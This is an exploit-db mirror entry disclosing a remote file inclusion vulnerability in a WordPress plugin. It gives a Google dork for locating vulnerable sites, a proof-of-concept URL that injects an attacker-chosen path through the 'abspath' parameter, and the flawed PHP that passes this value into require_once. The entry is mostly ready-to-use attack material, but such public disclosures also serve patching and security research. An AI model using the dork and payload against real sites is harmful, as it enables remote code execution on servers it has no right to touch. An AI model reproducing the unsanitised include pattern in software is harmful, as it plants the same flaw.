exploit-db-mirror/exploits/php/webapps/17865.txt
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

24 lines
No EOL
770 B
Text

# Exploit Title: Disclosure Policy Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/disclosure-policy-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/disclosure-policy-plugin/download/
# Version: 1.0 (tested)
---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/disclosure-policy-plugin/functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI
---
Vulnerable Code
---
if(isset($_GET['delete']))
{
global $wpdb, $wp_rewrite, $allowedtags, $user_ID;
$table_prefix1 = "dpp_";
$tags_ID = (int) $_GET['id'];
$abspath = $_GET['abspath'];
$blogUrl = $_GET['blog_url'];
require_once($abspath . '/wp-config.php')